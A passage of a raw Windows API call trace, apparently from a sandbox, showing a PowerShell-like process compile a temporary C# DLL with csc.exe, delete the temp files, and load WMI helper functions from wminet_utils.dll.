lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0063.957] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-", nBufferLength=0x105, lpBuffer=0x1c7fdf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-", lpFilePart=0x0) returned 0x39 [0063.957] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-", nBufferLength=0x105, lpBuffer=0x1c7fde40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-", lpFilePart=0x0) returned 0x39 [0063.957] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.tmp", nBufferLength=0x105, lpBuffer=0x1c7fdcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.tmp", lpFilePart=0x0) returned 0x3d [0063.957] SetErrorMode (uMode=0x1) returned 0x1 [0063.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0063.959] GetFileType (hFile=0x348) returned 0x1 [0063.959] SetErrorMode (uMode=0x1) returned 0x1 [0063.959] GetFileType (hFile=0x348) returned 0x1 [0063.959] CloseHandle (hObject=0x348) returned 1 [0063.959] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.0.cs", nBufferLength=0x105, lpBuffer=0x1c7fdda0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.0.cs", lpFilePart=0x0) returned 0x3e [0063.960] SetErrorMode (uMode=0x1) returned 0x1 [0063.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.0.cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.0.cs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0063.960] GetFileType (hFile=0x348) returned 0x1 [0063.961] SetErrorMode (uMode=0x1) returned 0x1 [0063.961] GetFileType (hFile=0x348) returned 0x1 [0063.961] WriteFile (in: hFile=0x348, lpBuffer=0x5401c58*, nNumberOfBytesToWrite=0x625, lpNumberOfBytesWritten=0x1c7fe2c8, lpOverlapped=0x0 | out: lpBuffer=0x5401c58*, lpNumberOfBytesWritten=0x1c7fe2c8*=0x625, lpOverlapped=0x0) returned 1 [0063.961] CloseHandle (hObject=0x348) returned 1 [0063.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll", nBufferLength=0x105, lpBuffer=0x1c7fdce0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll", lpFilePart=0x0) returned 0x3d [0063.964] SetErrorMode (uMode=0x1) returned 0x1 [0063.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0063.964] GetFileType (hFile=0x348) returned 0x1 [0063.964] SetErrorMode (uMode=0x1) returned 0x1 [0063.965] GetFileType (hFile=0x348) returned 0x1 [0063.965] CloseHandle (hObject=0x348) returned 1 [0063.965] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline", nBufferLength=0x105, lpBuffer=0x1c7fdc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline", lpFilePart=0x0) returned 0x41 [0063.965] SetErrorMode (uMode=0x1) returned 0x1 [0063.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.cmdline"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0063.966] GetFileType (hFile=0x348) returned 0x1 [0063.966] SetErrorMode (uMode=0x1) returned 0x1 [0063.966] GetFileType (hFile=0x348) returned 0x1 [0063.966] WriteFile (in: hFile=0x348, lpBuffer=0x54058c0*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x1c7fe178, lpOverlapped=0x0 | out: lpBuffer=0x54058c0*, lpNumberOfBytesWritten=0x1c7fe178*=0x153, lpOverlapped=0x0) returned 1 [0063.967] CloseHandle (hObject=0x348) returned 1 [0063.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c7fddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0063.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe", nBufferLength=0x105, lpBuffer=0x1c7fdea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe", lpFilePart=0x0) returned 0x37 [0063.969] SetErrorMode (uMode=0x1) returned 0x1 [0063.969] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c7fe0b0 | out: lpFileInformation=0x1c7fe0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c4c061, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb4c4c061, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x980ccadb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15738)) returned 1 [0063.970] SetErrorMode (uMode=0x1) returned 0x1 [0063.970] CoTaskMemAlloc (cb=0x20e) returned 0x1b779970 [0063.970] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b779970 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0063.970] CoTaskMemFree (pv=0x1b779970) [0063.971] GetCurrentProcess () returned 0xffffffffffffffff [0063.971] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7fe078 | out: TokenHandle=0x1c7fe078*=0x350) returned 1 [0063.971] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.out", nBufferLength=0x105, lpBuffer=0x1c7fd920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.out", lpFilePart=0x0) returned 0x3d [0063.971] SetErrorMode (uMode=0x1) returned 0x1 [0063.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.out" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.out"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x5407c80, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0063.972] GetFileType (hFile=0x348) returned 0x1 [0063.972] SetErrorMode (uMode=0x1) returned 0x1 [0063.972] GetFileType (hFile=0x348) returned 0x1 [0063.973] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.err", nBufferLength=0x105, lpBuffer=0x1c7fd920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.err", lpFilePart=0x0) returned 0x3d [0063.973] SetErrorMode (uMode=0x1) returned 0x1 [0063.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.err" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.err"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x5407ff0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0063.974] GetFileType (hFile=0x354) returned 0x1 [0063.974] SetErrorMode (uMode=0x1) returned 0x1 [0063.974] GetFileType (hFile=0x354) returned 0x1 [0063.974] WriteFile (in: hFile=0x348, lpBuffer=0x5409b68*, nNumberOfBytesToWrite=0x1a8, lpNumberOfBytesWritten=0x1c7fde98, lpOverlapped=0x0 | out: lpBuffer=0x5409b68*, lpNumberOfBytesWritten=0x1c7fde98*=0x1a8, lpOverlapped=0x0) returned 1 [0063.974] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0063.976] CoTaskMemAlloc (cb=0x204) returned 0x124870 [0063.976] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x541b500, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1c7fddf0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x348, hStdError=0x354), lpProcessInformation=0x54082b0 | out: lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline\"", lpProcessInformation=0x54082b0*(hProcess=0x30c, hThread=0x34c, dwProcessId=0x290, dwThreadId=0x7e8)) returned 1 [0063.998] CoTaskMemFree (pv=0x124870) [0063.998] CloseHandle (hObject=0x348) returned 1 [0064.000] CloseHandle (hObject=0x354) returned 1 [0064.000] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0x927c0) returned 0x0 [0065.680] GetExitCodeProcess (in: hProcess=0x30c, lpExitCode=0x1c7fe028 | out: lpExitCode=0x1c7fe028*=0x0) returned 1 [0065.680] CloseHandle (hObject=0x30c) returned 1 [0065.680] CloseHandle (hObject=0x34c) returned 1 [0065.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll", nBufferLength=0x105, lpBuffer=0x1c7fdce0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll", lpFilePart=0x0) returned 0x3d [0065.680] SetErrorMode (uMode=0x1) returned 0x1 [0065.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0065.681] GetFileType (hFile=0x34c) returned 0x1 [0065.681] SetErrorMode (uMode=0x1) returned 0x1 [0065.681] GetFileType (hFile=0x34c) returned 0x1 [0065.681] GetFileSize (in: hFile=0x34c, lpFileSizeHigh=0x1c7fe348 | out: lpFileSizeHigh=0x1c7fe348*=0x0) returned 0x1000 [0065.681] ReadFile (in: hFile=0x34c, lpBuffer=0x541c070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fe228, lpOverlapped=0x0 | out: lpBuffer=0x541c070*, lpNumberOfBytesRead=0x1c7fe228*=0x1000, lpOverlapped=0x0) returned 1 [0065.691] CloseHandle (hObject=0x34c) returned 1 [0065.692] GetCurrentProcess () returned 0xffffffffffffffff [0065.692] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7fe2d8 | out: TokenHandle=0x1c7fe2d8*=0x34c) returned 1 [0065.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.0.cs", nBufferLength=0x105, lpBuffer=0x1c7fdfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.0.cs", lpFilePart=0x0) returned 0x3e [0065.693] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.0.cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.0.cs")) returned 1 [0065.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.tmp", nBufferLength=0x105, lpBuffer=0x1c7fdfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.tmp", lpFilePart=0x0) returned 0x3d [0065.693] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.tmp")) returned 1 [0065.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.out", nBufferLength=0x105, lpBuffer=0x1c7fdfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.out", lpFilePart=0x0) returned 0x3d [0065.694] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.out" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.out")) returned 1 [0065.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.err", nBufferLength=0x105, lpBuffer=0x1c7fdfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.err", lpFilePart=0x0) returned 0x3d [0065.694] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.err" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.err")) returned 1 [0065.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.pdb", nBufferLength=0x105, lpBuffer=0x1c7fdfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.pdb", lpFilePart=0x0) returned 0x3d [0065.694] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.pdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.pdb")) returned 1 [0065.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll", nBufferLength=0x105, lpBuffer=0x1c7fdfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll", lpFilePart=0x0) returned 0x3d [0065.695] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.dll")) returned 1 [0065.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline", nBufferLength=0x105, lpBuffer=0x1c7fdfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline", lpFilePart=0x0) returned 0x41 [0065.695] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yhwog0u-.cmdline")) returned 1 [0065.765] CoTaskMemAlloc (cb=0x104) returned 0x168e70 [0065.765] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168e70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.765] CoTaskMemFree (pv=0x168e70) [0065.822] VirtualQuery (in: lpAddress=0x1c7fd5f0, lpBuffer=0x1c7fe4b0, dwLength=0x30 | out: lpBuffer=0x1c7fe4b0*(BaseAddress=0x1c7fd000, AllocationBase=0x1be70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.838] CoTaskMemAlloc (cb=0x104) returned 0x168e70 [0065.838] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168e70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.838] CoTaskMemFree (pv=0x168e70) [0065.844] CoTaskMemAlloc (cb=0x104) returned 0x168e70 [0065.844] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168e70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.844] CoTaskMemFree (pv=0x168e70) [0065.855] CoTaskMemAlloc (cb=0x104) returned 0x168e70 [0065.855] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168e70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.855] CoTaskMemFree (pv=0x168e70) [0065.891] CoTaskMemAlloc (cb=0x104) returned 0x168e70 [0065.892] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168e70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.892] CoTaskMemFree (pv=0x168e70) [0065.956] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x34c [0065.958] CoGetObjectContext (in: riid=0x1c7fdb88*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fdb80 | out: ppv=0x1c7fdb80*=0xc03c8) returned 0x0 [0066.155] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c7fc690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0066.157] CoTaskMemAlloc (cb=0x43) returned 0x184910 [0066.157] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\\\wminet_utils.dll") returned 0x642ffff0000 [0066.352] CoTaskMemFree (pv=0x184910) [0066.353] CoTaskMemAlloc (cb=0xf) returned 0x1b7b04b0 [0066.353] GetProcAddress (hModule=0x642ffff0000, lpProcName="ResetSecurity") returned 0x642ffff20e0 [0066.353] CoTaskMemFree (pv=0x1b7b04b0) [0066.375] CoTaskMemAlloc (cb=0xd) returned 0x1b7b04b0 [0066.375] GetProcAddress (hModule=0x642ffff0000, lpProcName="SetSecurity") returned 0x642ffff21b0 [0066.375] CoTaskMemFree (pv=0x1b7b04b0) [0066.396] CoTaskMemAlloc (cb=0x14) returned 0x1b7b04b0 [0066.396] GetProcAddress (hModule=0x642ffff0000, lpProcName="BlessIWbemServices") returned 0x642ffff2290 [0066.396] CoTaskMemFree (pv=0x1b7b04b0) [0066.453] CoTaskMemAlloc (cb=0x1a) returned 0x1b7ba2a0 [0066.453] GetProcAddress (hModule=0x642ffff0000, lpProcName="BlessIWbemServicesObject") returned 0x642ffff23b0 [0066.453] CoTaskMemFree (pv=0x1b7ba2a0) [0066.481] CoTaskMemAlloc (cb=0x13) returned 0x1b7b04b0 [0066.482] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetPropertyHandle") returned 0x642ffff24d0 [0066.482] CoTaskMemFree (pv=0x1b7b04b0) [0066.499] CoTaskMemAlloc (cb=0x14) returned 0x1b7b04b0 [0066.500] GetProcAddress (hModule=0x642ffff0000, lpProcName="WritePropertyValue") returned 0x642ffff2500 [0066.500] CoTaskMemFree (pv=0x1b7b04b0) [0066.528] CoTaskMemAlloc (cb=0x7) returned 0x1b7bc240 [0066.528] GetProcAddress (hModule=0x642ffff0000, lpProcName="Clone") returned 0x642ffff2530 [0066.528] CoTaskMemFree (pv=0x1b7bc240) [0066.563] CoTaskMemAlloc (cb=0x11) returned 0x1b7b04f0 [0066.563] GetProcAddress (hModule=0x642ffff0000, lpProcName="VerifyClientKey") returned 0x642ffff31f0 [0066.563] CoTaskMemFree (pv=0x1b7b04f0) [0066.581] CoTaskMemAlloc (cb=0x11) returned 0x1b7b04f0 [0066.581] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetQualifierSet") returned 0x642ffff2a50 [0066.581] CoTaskMemFree (pv=0x1b7b04f0) [0066.591] CoTaskMemAlloc (cb=0x5) returned 0x1b7bc240 [0066.591] GetProcAddress (hModule=0x642ffff0000, lpProcName="Get") returned 0x642ffff2700 [0066.592] CoTaskMemFree (pv=0x1b7bc240) [0066.608] CoTaskMemAlloc (cb=0x5) returned 0x1b7bc240 [0066.608] GetProcAddress (hModule=0x642ffff0000, lpProcName="Put") returned 0x642ffff26c0 [0066.608] CoTaskMemFree (pv=0x1b7bc240) [0066.635] CoTaskMemAlloc (cb=0x8) returned 0x1b7bc240 [0066.635] GetProcAddress (hModule=0x642ffff0000, lpProcName="Delete") returned 0x642ffff2750 [0066.636] CoTaskMemFree (pv=0x1b7bc240) [0066.663] CoTaskMemAlloc (cb=0xa) returned 0x1b7b04f0 [0066.664] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetNames") returned 0x642ffff2760 [0066.666] CoTaskMemFree (pv=0x1b7b04f0) [0066.733] CoTaskMemAlloc (cb=0x12) returned 0x1b7b04f0 [0066.734] GetProcAddress (hModule=0x642ffff0000, lpProcName="BeginEnumeration") returned 0x642ffff27b0 [0066.734] CoTaskMemFree (pv=0x1b7b04f0) [0066.761] CoTaskMemAlloc (cb=0x6) returned 0x1b7bc240 [0066.762] GetProcAddress (hModule=0x642ffff0000, lpProcName="Next") returned 0x642ffff27c0 [0066.762] CoTaskMemFree (pv=0x1b7bc240) [0066.821] CoTaskMemAlloc (cb=0x10) returned 0x1b7b04f0 [0066.821] GetProcAddress (hModule=0x642ffff0000, lpProcName="EndEnumeration") returned 0x642ffff2810 [0066.821] CoTaskMemFree (pv=0x1b7b04f0) [0066.832] CoTaskMemAlloc (cb=0x19) returned 0x1b7b9fa0 [0066.832] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetPropertyQualifierSet") returned 0x642ffff2820 [0066.832] CoTaskMemFree (pv=0x1b7b9fa0) [0066.852] CoTaskMemAlloc (cb=0x7) returned 0x1b7bc240 [0066.852] GetProcAddress (hModule=0x642ffff0000, lpProcName="Clone") returned 0x642ffff2530 [0066.852] CoTaskMemFree (pv=0x1b7bc240) [0066.853] CoTaskMemAlloc (cb=0xf) returned 0x1b7b04b0 [0066.853] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetObjectText") returned 0x642ffff2840 [0066.853] CoTaskMemFree (pv=0x1b7b04b0) [0066.905] CoTaskMemAlloc (cb=0x13) returned 0x1b7b04f0 [0066.906] GetProcAddress (hModule=0x642ffff0000, lpProcName="SpawnDerivedClass") returned 0x642ffff2860 [0066.906] CoTaskMemFree (pv=0x1b7b04f0) [0066.935] CoTaskMemAlloc (cb=0xf) returned 0x1b7b04b0 [0066.935] GetProcAddress (hModule=0x642ffff0000, lpProcName="SpawnInstance") returned 0x642ffff2880 [0066.935] CoTaskMemFree (pv=0x1b7b04b0) [0066.953] CoTaskMemAlloc (cb=0xb) returned 0x1b7b04f0 [0066.953] GetProcAddress (hModule=0x642ffff0000, lpProcName="CompareTo") returned 0x642ffff28a0 [0066.953] CoTaskMemFree (pv=0x1b7b04f0) [0066.965] CoTaskMemAlloc (cb=0x13) returned 0x1b7b04f0 [0066.965] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetPropertyOrigin") returned 0x642ffff28c0 [0066.965] CoTaskMemFree (pv=0x1b7b04f0) [0066.978] CoTaskMemAlloc (cb=0xe) returned 0x1b7b04f0 [0066.978] GetProcAddress (hModule=0x642ffff0000, lpProcName="InheritsFrom") returned 0x642ffff28e0 [0066.979] CoTaskMemFree (pv=0x1b7b04f0) [0066.984] CoTaskMemAlloc (cb=0xb) returned 0x1b7b04f0 [0066.984] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetMethod") returned 0x642ffff28f0 [0066.985] CoTaskMemFree (pv=0x1b7b04f0) [0067.008] CoTaskMemAlloc (cb=0xb) returned 0x1b7b04f0 [0067.008] GetProcAddress (hModule=0x642ffff0000, lpProcName="PutMethod") returned 0x642ffff2940 [0067.008] CoTaskMemFree (pv=0x1b7b04f0) [0067.013] CoTaskMemAlloc (cb=0xe) returned 0x1b7b04f0 [0067.013] GetProcAddress (hModule=0x642ffff0000, lpProcName="DeleteMethod") returned 0x642ffff2990 [0067.013] CoTaskMemFree (pv=0x1b7b04f0) [0067.015] CoTaskMemAlloc (cb=0x18) returned 0x1b7b04f0 [0067.016] GetProcAddress (hModule=0x642ffff0000, lpProcName="BeginMethodEnumeration") returned 0x642ffff29a0 [0067.016] CoTaskMemFree (pv=0x1b7b04f0) [0067.018] CoTaskMemAlloc (cb=0xc) returned 0x1b7b04f0 [0067.018] GetProcAddress (hModule=0x642ffff0000, lpProcName="NextMethod") returned 0x642ffff29b0 [0067.018] CoTaskMemFree (pv=0x1b7b04f0) [0067.024] CoTaskMemAlloc (cb=0x16) returned 0x1b7b04f0 [0067.024] GetProcAddress (hModule=0x642ffff0000, lpProcName="EndMethodEnumeration") returned 0x642ffff2a00 [0067.024] CoTaskMemFree (pv=0x1b7b04f0) [0067.024] CoTaskMemAlloc (cb=0x17) returned 0x1b7b04f0 [0067.025] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetMethodQualifierSet") returned 0x642ffff2a10 [0067.025] CoTaskMemFree (pv=0x1b7b04f0) [0067.028] CoTaskMemAlloc (cb=0x11) returned 0x1b7b04b0 [0067.028] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetMethodOrigin") returned 0x642ffff2a30 [0067.028] CoTaskMemFree (pv=0x1b7b04b0) [0067.031] CoTaskMemAlloc (cb=0x12) returned 0x1b7b04b0 [0067.031] GetProcAddress (hModule=0x642ffff0000, lpProcName="QualifierSet_Get") returned 0x642ffff2a60 [0067.031] CoTaskMemFree (pv=0x1b7b04b0) [0067.033] CoTaskMemAlloc (cb=0x12) returned 0x1b7b04b0 [0067.033] GetProcAddress (hModule=0x642ffff0000, lpProcName="QualifierSet_Put") returned 0x642ffff2ab0 [0067.033] CoTaskMemFree (pv=0x1b7b04b0) [0067.035] CoTaskMemAlloc (cb=0x15) returned 0x1b7b04b0 [0067.035] GetProcAddress (hModule=0x642ffff0000, 